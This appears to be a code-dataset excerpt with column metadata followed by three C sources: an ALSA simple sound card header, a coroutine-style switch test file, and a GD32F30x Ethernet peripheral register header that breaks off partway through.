hexsha
stringlengths
40
40
size
int64
5
1.05M
ext
stringclasses
588 values
lang
stringclasses
305 values
max_stars_repo_path
stringlengths
3
363
max_stars_repo_name
stringlengths
5
118
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
10
max_stars_count
float64
1
191k
max_stars_repo_stars_event_min_datetime
stringdate
2015-01-01 00:00:35
2022-03-31 23:43:49
max_stars_repo_stars_event_max_datetime
stringdate
2015-01-01 12:37:38
2022-03-31 23:59:52
max_issues_repo_path
stringlengths
3
363
max_issues_repo_name
stringlengths
5
118
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
10
max_issues_count
float64
1
134k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
3
363
max_forks_repo_name
stringlengths
5
135
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
10
max_forks_count
float64
1
105k
max_forks_repo_forks_event_min_datetime
stringdate
2015-01-01 00:01:02
2022-03-31 23:27:27
max_forks_repo_forks_event_max_datetime
stringdate
2015-01-03 08:55:07
2022-03-31 23:59:24
content
stringlengths
5
1.05M
avg_line_length
float64
1.13
1.04M
max_line_length
int64
1
1.05M
alphanum_fraction
float64
0
1
d264e5463f22dfd62ac4add4a64f5a747e9d7729
529
h
C
include/sound/simple_card.h
fergy/aplit_linux-5
a6ef4cb0e17e1eec9743c064e65f730c49765711
[ "MIT" ]
44
2022-03-16T08:32:31.000Z
2022-03-31T16:02:35.000Z
include/sound/simple_card.h
fergy/aplit_linux-5
a6ef4cb0e17e1eec9743c064e65f730c49765711
[ "MIT" ]
13
2021-07-10T04:36:17.000Z
2022-03-03T10:50:05.000Z
include/sound/simple_card.h
fergy/aplit_linux-5
a6ef4cb0e17e1eec9743c064e65f730c49765711
[ "MIT" ]
18
2022-03-19T04:41:04.000Z
2022-03-31T03:32:12.000Z
/* SPDX-License-Identifier: GPL-2.0 * * ASoC simple sound card support * * Copyright (C) 2012 Renesas Solutions Corp. * Kuninori Morimoto <kuninori.morimoto.gx@renesas.com> */ #ifndef __SIMPLE_CARD_H #define __SIMPLE_CARD_H #include <sound/soc.h> #include <sound/simple_card_utils.h> struct asoc_simple_card_info { const char *name; const char *card; const char *codec; const char *platform; unsigned int daifmt; struct asoc_simple_dai cpu_dai; struct asoc_simple_dai codec_dai; }; #endif /* __SIMPLE_CARD_H */
19.592593
55
0.750473
9ac8f4cee0fb223473cbe72e1199e587133db20f
359
c
C
packages/PIPS/validation/C_syntax/keryell01.c
DVSR1966/par4all
86b33ca9da736e832b568c5637a2381f360f1996
[ "MIT" ]
51
2015-01-31T01:51:39.000Z
2022-02-18T02:01:50.000Z
packages/PIPS/validation/C_syntax/keryell01.c
DVSR1966/par4all
86b33ca9da736e832b568c5637a2381f360f1996
[ "MIT" ]
7
2017-05-29T09:29:00.000Z
2019-03-11T16:01:39.000Z
packages/PIPS/validation/C_syntax/keryell01.c
DVSR1966/par4all
86b33ca9da736e832b568c5637a2381f360f1996
[ "MIT" ]
12
2015-03-26T08:05:38.000Z
2022-02-18T02:01:51.000Z
/* Ronan Keryell: http://www.chiark.greenend.org.uk/~sgtatham/coroutines.html */ int keryell01(void) { static int i, state = 0; switch (state) { case 0: /* start of function */ for (i = 0; i < 10; i++) { state = 1; /* so we will come back to "case 1" */ return i; case 1:; /* resume control straight after the return */ } } }
25.642857
80
0.579387
2c8a9310923c2a677de58f6452e8d5b10a6e136e
142,532
h
C
targets/TARGET_GigaDevice/TARGET_GD32F30X/GD32F30x_standard_peripheral/Include/gd32f30x_enet.h
pattyolanterns/mbed-os
f05af9a870580a0a81688e4d8f94cf72ca17a4d6
[ "Apache-2.0" ]
3,897
2015-09-04T13:42:23.000Z
2022-03-30T16:53:07.000Z
targets/TARGET_GigaDevice/TARGET_GD32F30X/GD32F30x_standard_peripheral/Include/gd32f30x_enet.h
pattyolanterns/mbed-os
f05af9a870580a0a81688e4d8f94cf72ca17a4d6
[ "Apache-2.0" ]
13,030
2015-09-17T10:30:05.000Z
2022-03-31T13:36:44.000Z
targets/TARGET_GigaDevice/TARGET_GD32F30X/GD32F30x_standard_peripheral/Include/gd32f30x_enet.h
pattyolanterns/mbed-os
f05af9a870580a0a81688e4d8f94cf72ca17a4d6
[ "Apache-2.0" ]
2,950
2015-09-08T19:07:05.000Z
2022-03-31T13:37:23.000Z
/*! \file gd32f30x_enet.h \brief definitions for the ENET \version 2018-10-10, V1.1.0, firmware for GD32F30x (The version is for mbed) */ /* Copyright (c) 2018, GigaDevice Semiconductor Inc. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #ifndef GD32F30X_ENET_H #define GD32F30X_ENET_H #include "gd32f30x.h" #include <stdlib.h> #define IF_USE_EXTERNPHY_LIB 0 #if (1 == IF_USE_EXTERNPHY_LIB) #include "phy.h" #endif #ifndef ENET_RXBUF_NUM #define ENET_RXBUF_NUM 5U /*!< ethernet Rx DMA descriptor number */ #endif #ifndef ENET_TXBUF_NUM #define ENET_TXBUF_NUM 5U /*!< ethernet Tx DMA descriptor number */ #endif #ifndef ENET_RXBUF_SIZE #define ENET_RXBUF_SIZE ENET_MAX_FRAME_SIZE /*!< ethernet receive buffer size */ #endif #ifndef ENET_TXBUF_SIZE #define ENET_TXBUF_SIZE ENET_MAX_FRAME_SIZE /*!< ethernet transmit buffer size */ #endif /* #define SELECT_DESCRIPTORS_ENHANCED_MODE */ /* #define USE_DELAY */ #ifndef _PHY_H_ #define DP83848 0 #define LAN8700 1 #define PHY_TYPE DP83848 #define PHY_ADDRESS ((uint16_t)1U) /*!< phy address determined by the hardware */ /* PHY read write timeouts */ #define PHY_READ_TO ((uint32_t)0x0004FFFFU) /*!< PHY read timeout */ #define PHY_WRITE_TO ((uint32_t)0x0004FFFFU) /*!< PHY write timeout */ /* PHY delay */ #define PHY_RESETDELAY ((uint32_t)0x008FFFFFU) /*!< PHY reset delay */ #define PHY_CONFIGDELAY ((uint32_t)0x00FFFFFFU) /*!< PHY configure delay */ /* PHY register address */ #define PHY_REG_BCR 0U /*!< tranceiver basic control register */ #define PHY_REG_BSR 1U /*!< tranceiver basic status register */ /* PHY basic control register */ #define PHY_RESET ((uint16_t)0x8000) /*!< PHY reset */ #define PHY_LOOPBACK ((uint16_t)0x4000) /*!< enable phy loop-back mode */ #define PHY_FULLDUPLEX_100M ((uint16_t)0x2100) /*!< configure speed to 100 Mbit/s and the full-duplex mode */ #define PHY_HALFDUPLEX_100M ((uint16_t)0x2000) /*!< configure speed to 100 Mbit/s and the half-duplex mode */ #define PHY_FULLDUPLEX_10M ((uint16_t)0x0100) /*!< configure speed to 10 Mbit/s and the full-duplex mode */ #define PHY_HALFDUPLEX_10M ((uint16_t)0x0000) /*!< configure speed to 10 Mbit/s and the half-duplex mode */ #define PHY_AUTONEGOTIATION ((uint16_t)0x1000) /*!< enable auto-negotiation function */ #define PHY_RESTART_AUTONEGOTIATION ((uint16_t)0x0200) /*!< restart auto-negotiation function */ #define PHY_POWERDOWN ((uint16_t)0x0800) /*!< enable the power down mode */ #define PHY_ISOLATE ((uint16_t)0x0400) /*!< isolate PHY from MII */ /* PHY basic status register */ #define PHY_AUTONEGO_COMPLETE ((uint16_t)0x0020) /*!< auto-negotioation process completed */ #define PHY_LINKED_STATUS ((uint16_t)0x0004) /*!< valid link established */ #define PHY_JABBER_DETECTION ((uint16_t)0x0002) /*!< jabber condition detected */ #if(PHY_TYPE == LAN8700) #define PHY_SR 31U /*!< tranceiver status register */ #define PHY_SPEED_STATUS ((uint16_t)0x0004) /*!< configured information of speed: 10Mbit/s */ #define PHY_DUPLEX_STATUS ((uint16_t)0x0010) /*!< configured information of duplex: full-duplex */ #elif(PHY_TYPE == DP83848) #define PHY_SR 16U /*!< tranceiver status register */ #define PHY_SPEED_STATUS ((uint16_t)0x0002) /*!< configured information of speed: 10Mbit/s */ #define PHY_DUPLEX_STATUS ((uint16_t)0x0004) /*!< configured information of duplex: full-duplex */ #endif /* PHY_TYPE */ #endif /* _PHY_H_ */ /* ENET definitions */ #define ENET ENET_BASE /* registers definitions */ #define ENET_MAC_CFG REG32((ENET) + 0x00U) /*!< ethernet MAC configuration register */ #define ENET_MAC_FRMF REG32((ENET) + 0x04U) /*!< ethernet MAC frame filter register */ #define ENET_MAC_HLH REG32((ENET) + 0x08U) /*!< ethernet MAC hash list high register */ #define ENET_MAC_HLL REG32((ENET) + 0x0CU) /*!< ethernet MAC hash list low register */ #define ENET_MAC_PHY_CTL REG32((ENET) + 0x10U) /*!< ethernet MAC PHY control register */ #define ENET_MAC_PHY_DATA REG32((ENET) + 0x14U) /*!< ethernet MAC MII data register */ #define ENET_MAC_FCTL REG32((ENET) + 0x18U) /*!< ethernet MAC flow control register */ #define ENET_MAC_VLT REG32((ENET) + 0x1CU) /*!< ethernet MAC VLAN tag register */ #define ENET_MAC_RWFF REG32((ENET) + 0x28U) /*!< ethernet MAC remote wakeup frame filter register */ #define ENET_MAC_WUM REG32((ENET) + 0x2CU) /*!< ethernet MAC wakeup management register */ #define ENET_MAC_DBG REG32((ENET) + 0x34U) /*!< ethernet MAC debug register */ #define ENET_MAC_INTF REG32((ENET) + 0x38U) /*!< ethernet MAC interrupt flag register */ #define ENET_MAC_INTMSK REG32((ENET) + 0x3CU) /*!< ethernet MAC interrupt mask register */ #define ENET_MAC_ADDR0H REG32((ENET) + 0x40U) /*!< ethernet MAC address 0 high register */ #define ENET_MAC_ADDR0L REG32((ENET) + 0x44U) /*!< ethernet MAC address 0 low register */ #define ENET_MAC_ADDR1H REG32((ENET) + 0x48U) /*!< ethernet MAC address 1 high register */ #define ENET_MAC_ADDR1L REG32((ENET) + 0x4CU) /*!< ethernet MAC address 1 low register */ #define ENET_MAC_ADDT2H REG32((ENET) + 0x50U) /*!< ethernet MAC address 2 high register */ #define ENET_MAC_ADDR2L REG32((ENET) + 0x54U) /*!< ethernet MAC address 2 low register */ #define ENET_MAC_ADDR3H REG32((ENET) + 0x58U) /*!< ethernet MAC address 3 high register */ #define ENET_MAC_ADDR3L REG32((ENET) + 0x5CU) /*!< ethernet MAC address 3 low register */ #define ENET_MAC_FCTH REG32((ENET) + 0x1080U) /*!< ethernet MAC flow control threshold register */ #define ENET_MSC_CTL REG32((ENET) + 0x100U) /*!< ethernet MSC control register */ #define ENET_MSC_RINTF REG32((ENET) + 0x104U) /*!< ethernet MSC receive interrupt flag register */ #define ENET_MSC_TINTF REG32((ENET) + 0x108U) /*!< ethernet MSC transmit interrupt flag register */ #define ENET_MSC_RINTMSK REG32((ENET) + 0x10CU) /*!< ethernet MSC receive interrupt mask register */ #define ENET_MSC_TINTMSK REG32((ENET) + 0x110U) /*!< ethernet MSC transmit interrupt mask register */ #define ENET_MSC_SCCNT REG32((ENET) + 0x14CU) /*!< ethernet MSC transmitted good frames after a single collision counter register */ #define ENET_MSC_MSCCNT REG32((ENET) + 0x150U) /*!< ethernet MSC transmitted good frames after more than a single collision counter register */ #define ENET_MSC_TGFCNT REG32((ENET) + 0x168U) /*!< ethernet MSC transmitted good frames counter register */ #define ENET_MSC_RFCECNT REG32((ENET) + 0x194U) /*!< ethernet MSC received frames with CRC error counter register */ #define ENET_MSC_RFAECNT REG32((ENET) + 0x198U) /*!< ethernet MSC received frames with alignment error counter register */ #define ENET_MSC_RGUFCNT REG32((ENET) + 0x1C4U) /*!< ethernet MSC received good unicast frames counter register */ #define ENET_PTP_TSCTL REG32((ENET) + 0x700U) /*!< ethernet PTP time stamp control register */ #define ENET_PTP_SSINC REG32((ENET) + 0x704U) /*!< ethernet PTP subsecond increment register */ #define ENET_PTP_TSH REG32((ENET) + 0x708U) /*!< ethernet PTP time stamp high register */ #define ENET_PTP_TSL REG32((ENET) + 0x70CU) /*!< ethernet PTP time stamp low register */ #define ENET_PTP_TSUH REG32((ENET) + 0x710U) /*!< ethernet PTP time stamp update high register */ #define ENET_PTP_TSUL REG32((ENET) + 0x714U) /*!< ethernet PTP time stamp update low register */ #define ENET_PTP_TSADDEND REG32((ENET) + 0x718U) /*!< ethernet PTP time stamp addend register */ #define ENET_PTP_ETH REG32((ENET) + 0x71CU) /*!< ethernet PTP expected time high register */ #define ENET_PTP_ETL REG32((ENET) + 0x720U) /*!< ethernet PTP expected time low register */ #define ENET_PTP_TSF REG32((ENET) + 0x728U) /*!< ethernet PTP time stamp flag register */ #define ENET_PTP_PPSCTL REG32((ENET) + 0x72CU) /*!< ethernet PTP PPS control register */ #define ENET_DMA_BCTL REG32((ENET) + 0x1000U) /*!< ethernet DMA bus control register */ #define ENET_DMA_TPEN REG32((ENET) + 0x1004U) /*!< ethernet DMA transmit poll enable register */ #define ENET_DMA_RPEN REG32((ENET) + 0x1008U) /*!< ethernet DMA receive poll enable register */ #define ENET_DMA_RDTADDR REG32((ENET) + 0x100CU) /*!< ethernet DMA receive descriptor table address register */ #define ENET_DMA_TDTADDR REG32((ENET) + 0x1010U) /*!< ethernet DMA transmit descriptor table address register */ #define ENET_DMA_STAT REG32((ENET) + 0x1014U) /*!< ethernet DMA status register */ #define ENET_DMA_CTL REG32((ENET) + 0x1018U) /*!< ethernet DMA control register */ #define ENET_DMA_INTEN REG32((ENET) + 0x101CU) /*!< ethernet DMA interrupt enable register */ #define ENET_DMA_MFBOCNT REG32((ENET) + 0x1020U) /*!< ethernet DMA missed frame and buffer overflow counter register */ #define ENET_DMA_RSWDC REG32((ENET) + 0x1024U) /*!< ethernet DMA receive state watchdog counter register */ #define ENET_DMA_CTDADDR REG32((ENET) + 0x1048U) /*!< ethernet DMA current transmit descriptor address register */ #define ENET_DMA_CRDADDR REG32((ENET) + 0x104CU) /*!< ethernet DMA current receive descriptor address register */ #define ENET_DMA_CTBADDR REG32((ENET) + 0x1050U) /*!< ethernet DMA current transmit buffer address register */ #define ENET_DMA_CRBADDR REG32((ENET) + 0x1054U) /*!< ethernet DMA current receive buffer address register */ /* bits definitions */ /* ENET_MAC_CFG */ #define ENET_MAC_CFG_REN BIT(2) /*!< receiver enable */ #define ENET_MAC_CFG_TEN BIT(3) /*!< transmitter enable */ #define ENET_MAC_CFG_DFC BIT(4) /*!< defferal check */ #define ENET_MAC_CFG_BOL BITS(5,6) /*!< back-off limit */ #define ENET_MAC_CFG_APCD BIT(7) /*!< automatic pad/CRC drop */ #define ENET_MAC_CFG_RTD BIT(9) /*!< retry disable */ #define ENET_MAC_CFG_IPFCO BIT(10) /*!< IP frame checksum offload */ #define ENET_MAC_CFG_DPM BIT(11) /*!< duplex mode */ #define ENET_MAC_CFG_LBM BIT(12) /*!< loopback mode */ #define ENET_MAC_CFG_ROD BIT(13) /*!< receive own disable */ #define ENET_MAC_CFG_SPD BIT(14) /*!< fast eneternet speed */ #define ENET_MAC_CFG_CSD BIT(16) /*!< carrier sense disable */ #define ENET_MAC_CFG_IGBS BITS(17,19) /*!< inter-frame gap bit selection */ #define ENET_MAC_CFG_JBD BIT(22) /*!< jabber disable */ #define ENET_MAC_CFG_WDD BIT(23) /*!< watchdog disable */ #define ENET_MAC_CFG_TFCD BIT(25) /*!< type frame CRC dropping */ /* ENET_MAC_FRMF */ #define ENET_MAC_FRMF_PM BIT(0) /*!< promiscuous mode */ #define ENET_MAC_FRMF_HUF BIT(1) /*!< hash unicast filter */ #define ENET_MAC_FRMF_HMF BIT(2) /*!< hash multicast filter */ #define ENET_MAC_FRMF_DAIFLT BIT(3) /*!< destination address inverse filtering enable */ #define ENET_MAC_FRMF_MFD BIT(4) /*!< multicast filter disable */ #define ENET_MAC_FRMF_BFRMD BIT(5) /*!< broadcast frame disable */ #define ENET_MAC_FRMF_PCFRM BITS(6,7) /*!< pass control frames */ #define ENET_MAC_FRMF_SAIFLT BIT(8) /*!< source address inverse filtering */ #define ENET_MAC_FRMF_SAFLT BIT(9) /*!< source address filter */ #define ENET_MAC_FRMF_HPFLT BIT(10) /*!< hash or perfect filter */ #define ENET_MAC_FRMF_FAR BIT(31) /*!< frames all receive */ /* ENET_MAC_HLH */ #define ENET_MAC_HLH_HLH BITS(0,31) /*!< hash list high */ /* ENET_MAC_HLL */ #define ENET_MAC_HLL_HLL BITS(0,31) /*!< hash list low */ /* ENET_MAC_PHY_CTL */ #define ENET_MAC_PHY_CTL_PB BIT(0) /*!< PHY busy */ #define ENET_MAC_PHY_CTL_PW BIT(1) /*!< PHY write */ #define ENET_MAC_PHY_CTL_CLR BITS(2,4) /*!< clock range */ #define ENET_MAC_PHY_CTL_PR BITS(6,10) /*!< PHY register */ #define ENET_MAC_PHY_CTL_PA BITS(11,15) /*!< PHY address */ /* ENET_MAC_PHY_DATA */ #define ENET_MAC_PHY_DATA_PD BITS(0,15) /*!< PHY data */ /* ENET_MAC_FCTL */ #define ENET_MAC_FCTL_FLCBBKPA BIT(0) /*!< flow control busy(in full duplex mode)/backpressure activate(in half duplex mode) */ #define ENET_MAC_FCTL_TFCEN BIT(1) /*!< transmit flow control enable */ #define ENET_MAC_FCTL_RFCEN BIT(2) /*!< receive flow control enable */ #define ENET_MAC_FCTL_UPFDT BIT(3) /*!< unicast pause frame detect */ #define ENET_MAC_FCTL_PLTS BITS(4,5) /*!< pause low threshold */ #define ENET_MAC_FCTL_DZQP BIT(7) /*!< disable zero-quanta pause */ #define ENET_MAC_FCTL_PTM BITS(16,31) /*!< pause time */ /* ENET_MAC_VLT */ #define ENET_MAC_VLT_VLTI BITS(0,15) /*!< VLAN tag identifier(for receive frames) */ #define ENET_MAC_VLT_VLTC BIT(16) /*!< 12-bit VLAN tag comparison */ /* ENET_MAC_RWFF */ #define ENET_MAC_RWFF_DATA BITS(0,31) /*!< wakeup frame filter register data */ /* ENET_MAC_WUM */ #define ENET_MAC_WUM_PWD BIT(0) /*!< power down */ #define ENET_MAC_WUM_MPEN BIT(1) /*!< magic packet enable */ #define ENET_MAC_WUM_WFEN BIT(2) /*!< wakeup frame enable */ #define ENET_MAC_WUM_MPKR BIT(5) /*!< magic packet received */ #define ENET_MAC_WUM_WUFR BIT(6) /*!< wakeup frame received */ #define ENET_MAC_WUM_GU BIT(9) /*!< global unicast */ #define ENET_MAC_WUM_WUFFRPR BIT(31) /*!< wakeup frame filter register pointer reset */ /* ENET_MAC_DBG */ #define ENET_MAC_DBG_MRNI BIT(0) /*!< MAC receive state not idle */ #define ENET_MAC_DBG_RXAFS BITS(1,2) /*!< Rx asynchronous FIFO status */ #define ENET_MAC_DBG_RXFW BIT(4) /*!< RxFIFO is writing */ #define ENET_MAC_DBG_RXFRS BITS(5,6) /*!< RxFIFO read operation status */ #define ENET_MAC_DBG_RXFS BITS(8,9) /*!< RxFIFO state */ #define ENET_MAC_DBG_MTNI BIT(16) /*!< MAC transmit state not idle */ #define ENET_MAC_DBG_SOMT BITS(17,18) /*!< status of mac transmitter */ #define ENET_MAC_DBG_PCS BIT(19) /*!< pause condition status */ #define ENET_MAC_DBG_TXFRS BITS(20,21) /*!< TxFIFO read operation status */ #define ENET_MAC_DBG_TXFW BIT(22) /*!< TxFIFO is writing */ #define ENET_MAC_DBG_TXFNE BIT(24) /*!< TxFIFO not empty flag */ #define ENET_MAC_DBG_TXFF BIT(25) /*!< TxFIFO full flag */ /* ENET_MAC_INTF */ #define ENET_MAC_INTF_WUM BIT(3) /*!< WUM status */ #define ENET_MAC_INTF_MSC BIT(4) /*!< MSC status */ #define ENET_MAC_INTF_MSCR BIT(5) /*!< MSC receive status */ #define ENET_MAC_INTF_MSCT BIT(6) /*!< MSC transmit status */ #define ENET_MAC_INTF_TMST BIT(9) /*!< timestamp trigger status */ /* ENET_MAC_INTMSK */ #define ENET_MAC_INTMSK_WUMIM BIT(3) /*!< WUM interrupt mask */ #define ENET_MAC_INTMSK_TMSTIM BIT(9) /*!< timestamp trigger interrupt mask */ /* ENET_MAC_ADDR0H */ #define ENET_MAC_ADDR0H_ADDR0H BITS(0,15) /*!< MAC address0 high */ #define ENET_MAC_ADDR0H_MO BIT(31) /*!< always read 1 and must be kept */ /* ENET_MAC_ADDR0L */ #define ENET_MAC_ADDR0L_ADDR0L BITS(0,31) /*!< MAC address0 low */ /* ENET_MAC_ADDR1H */ #define ENET_MAC_ADDR1H_ADDR1H BITS(0,15) /*!< MAC address1 high */ #define ENET_MAC_ADDR1H_MB BITS(24,29) /*!< mask byte */ #define ENET_MAC_ADDR1H_SAF BIT(30) /*!< source address filter */ #define ENET_MAC_ADDR1H_AFE BIT(31) /*!< address filter enable */ /* ENET_MAC_ADDR1L */ #define ENET_MAC_ADDR1L_ADDR1L BITS(0,31) /*!< MAC address1 low */ /* ENET_MAC_ADDR2H */ #define ENET_MAC_ADDR2H_ADDR2H BITS(0,15) /*!< MAC address2 high */ #define ENET_MAC_ADDR2H_MB BITS(24,29) /*!< mask byte */ #define ENET_MAC_ADDR2H_SAF BIT(30) /*!< source address filter */ #define ENET_MAC_ADDR2H_AFE BIT(31) /*!< address filter enable */ /* ENET_MAC_ADDR2L */ #define ENET_MAC_ADDR2L_ADDR2L BITS(0,31) /*!< MAC address2 low */ /* ENET_MAC_ADDR3H */ #define ENET_MAC_ADDR3H_ADDR3H BITS(0,15) /*!< MAC address3 high */ #define ENET_MAC_ADDR3H_MB BITS(24,29) /*!< mask byte */ #define ENET_MAC_ADDR3H_SAF BIT(30) /*!< source address filter */ #define ENET_MAC_ADDR3H_AFE BIT(31) /*!< address filter enable */ /* ENET_MAC_ADDR3L */ #define ENET_MAC_ADDR3L_ADDR3L BITS(0,31) /*!< MAC address3 low */ /* ENET_MAC_FCTH */ #define ENET_MAC_FCTH_RFA BITS(0,2) /*!< threshold of active flow control */ #define ENET_MAC_FCTH_RFD BITS(4,6) /*!< threshold of deactive flow control */ /* ENET_MSC_CTL */ #define ENET_MSC_CTL_CTR BIT(0) /*!< counter reset */ #define ENET_MSC_CTL_CTSR BIT(1) /*!< counter stop rollover */ #define ENET_MSC_CTL_RTOR BIT(2) /*!< reset on read */ #define ENET_MSC_CTL_MCFZ BIT(3) /*!< MSC counter freeze */ #define ENET_MSC_CTL_PMC BIT(4) /*!< preset MSC counter */ #define ENET_MSC_CTL_AFHPM BIT(5) /*!< almost full or half preset mode */ /* ENET_MSC_RINTF */ #define ENET_MSC_RINTF_RFCE BIT(5) /*!< received frames CRC error */ #define ENET_MSC_RINTF_RFAE BIT(6) /*!< received frames alignment error */ #define ENET_MSC_RINTF_RGUF BIT(17) /*!< receive good unicast frames */ /* ENET_MSC_TINTF */ #define ENET_MSC_TINTF_TGFSC BIT(14) /*!< transmitted good frames single collision */ #define ENET_MSC_TINTF_TGFMSC BIT(15) /*!< transmitted good frames more single collision */ #define ENET_MSC_TINTF_TGF BIT(21) /*!< transmitted good frames */ /* ENET_MSC_RINTMSK */ #define ENET_MSC_RINTMSK_RFCEIM BIT(5) /*!< received frame CRC error interrupt mask */ #define ENET_MSC_RINTMSK_RFAEIM BIT(6) /*!< received frames alignment error interrupt mask */ #define ENET_MSC_RINTMSK_RGUFIM BIT(17) /*!< received good unicast frames interrupt mask */ /* ENET_MSC_TINTMSK */ #define ENET_MSC_TINTMSK_TGFSCIM BIT(14) /*!< transmitted good frames single collision interrupt mask */ #define ENET_MSC_TINTMSK_TGFMSCIM BIT(15) /*!< transmitted good frames more single collision interrupt mask */ #define ENET_MSC_TINTMSK_TGFIM BIT(21) /*!< transmitted good frames interrupt mask */ /* ENET_MSC_SCCNT */ #define ENET_MSC_SCCNT_SCC BITS(0,31) /*!< transmitted good frames single collision counter */ /* ENET_MSC_MSCCNT */ #define ENET_MSC_MSCCNT_MSCC BITS(0,31) /*!< transmitted good frames more one single collision counter */ /* ENET_MSC_TGFCNT */ #define ENET_MSC_TGFCNT_TGF BITS(0,31) /*!< transmitted good frames counter */ /* ENET_MSC_RFCECNT */ #define ENET_MSC_RFCECNT_RFCER BITS(0,31) /*!< received frames with CRC error counter */ /* ENET_MSC_RFAECNT */ #define ENET_MSC_RFAECNT_RFAER BITS(0,31) /*!< received frames alignment error counter */ /* ENET_MSC_RGUFCNT */ #define ENET_MSC_RGUFCNT_RGUF BITS(0,31) /*!< received good unicast frames counter */ /* ENET_PTP_TSCTL */ #define ENET_PTP_TSCTL_TMSEN BIT(0) /*!< timestamp enable */ #define ENET_PTP_TSCTL_TMSFCU BIT(1) /*!< timestamp fine or coarse update */ #define ENET_PTP_TSCTL_TMSSTI BIT(2) /*!< timestamp system time initialize */ #define ENET_PTP_TSCTL_TMSSTU BIT(3) /*!< timestamp system time update */ #define ENET_PTP_TSCTL_TMSITEN BIT(4) /*!< timestamp interrupt trigger enable */ #define ENET_PTP_TSCTL_TMSARU BIT(5) /*!< timestamp addend register update */ #define ENET_PTP_TSCTL_ARFSEN BIT(8) /*!< all received frames snapshot enable */ #define ENET_PTP_TSCTL_SCROM BIT(9) /*!< subsecond counter rollover mode */ #define ENET_PTP_TSCTL_PFSV BIT(10) /*!< PTP frame snooping version */ #define ENET_PTP_TSCTL_ESEN BIT(11) /*!< received Ethernet snapshot enable */ #define ENET_PTP_TSCTL_IP6SEN BIT(12) /*!< received IPv6 snapshot enable */ #define ENET_PTP_TSCTL_IP4SEN BIT(13) /*!< received IPv4 snapshot enable */ #define ENET_PTP_TSCTL_ETMSEN BIT(14) /*!< received event type message snapshot enable */ #define ENET_PTP_TSCTL_MNMSEN BIT(15) /*!< received master node message snapshot enable */ #define ENET_PTP_TSCTL_CKNT BITS(16,17) /*!< clock node type for time stamp */ #define ENET_PTP_TSCTL_MAFEN BIT(18) /*!< MAC address filter enable for PTP frame */ /* ENET_PTP_SSINC */ #define ENET_PTP_SSINC_STMSSI BITS(0,7) /*!< system time subsecond increment */ /* ENET_PTP_TSH */ #define ENET_PTP_TSH_STMS BITS(0,31) /*!< system time second */ /* ENET_PTP_TSL */ #define ENET_PTP_TSL_STMSS BITS(0,30) /*!< system time subseconds */ #define ENET_PTP_TSL_STS BIT(31) /*!< system time sign */ /* ENET_PTP_TSUH */ #define ENET_PTP_TSUH_TMSUS BITS(0,31) /*!< timestamp update seconds */ /* ENET_PTP_TSUL */ #define ENET_PTP_TSUL_TMSUSS BITS(0,30) /*!< timestamp update subseconds */ #define ENET_PTP_TSUL_TMSUPNS BIT(31) /*!< timestamp update positive or negative sign */ /* ENET_PTP_TSADDEND */ #define ENET_PTP_TSADDEND_TMSA BITS(0,31) /*!< timestamp addend */ /* ENET_PTP_ETH */ #define ENET_PTP_ETH_ETSH BITS(0,31) /*!< expected time high */ /* ENET_PTP_ETL */ #define ENET_PTP_ETL_ETSL BITS(0,31) /*!< expected time low */ /* ENET_PTP_TSF */ #define ENET_PTP_TSF_TSSCO BIT(0) /*!< timestamp second counter overflow */ #define ENET_PTP_TSF_TTM BIT(1) /*!< target time match */ /* ENET_PTP_PPSCTL */ #define ENET_PTP_PPSCTL_PPSOFC BITS(0,3) /*!< PPS output frequency configure */ /* ENET_DMA_BCTL */ #define ENET_DMA_BCTL_SWR BIT(0) /*!< software reset */ #define ENET_DMA_BCTL_DAB BIT(1) /*!< DMA arbitration */ #define ENET_DMA_BCTL_DPSL BITS(2,6) /*!< descriptor skip length */ #define ENET_DMA_BCTL_DFM BIT(7) /*!< descriptor format mode */ #define ENET_DMA_BCTL_PGBL BITS(8,13) /*!< programmable burst length */ #define ENET_DMA_BCTL_RTPR BITS(14,15) /*!< RxDMA and TxDMA transfer priority ratio */ #define ENET_DMA_BCTL_FB BIT(16) /*!< fixed Burst */ #define ENET_DMA_BCTL_RXDP BITS(17,22) /*!< RxDMA PGBL */ #define ENET_DMA_BCTL_UIP BIT(23) /*!< use independent PGBL */ #define ENET_DMA_BCTL_FPBL BIT(24) /*!< four times PGBL mode */ #define ENET_DMA_BCTL_AA BIT(25) /*!< address-aligned */ #define ENET_DMA_BCTL_MB BIT(26) /*!< mixed burst */ /* ENET_DMA_TPEN */ #define ENET_DMA_TPEN_TPE BITS(0,31) /*!< transmit poll enable */ /* ENET_DMA_RPEN */ #define ENET_DMA_RPEN_RPE BITS(0,31) /*!< receive poll enable */ /* ENET_DMA_RDTADDR */ #define ENET_DMA_RDTADDR_SRT BITS(0,31) /*!< start address of receive table */ /* ENET_DMA_TDTADDR */ #define ENET_DMA_TDTADDR_STT BITS(0,31) /*!< start address of transmit table */ /* ENET_DMA_STAT */ #define ENET_DMA_STAT_TS 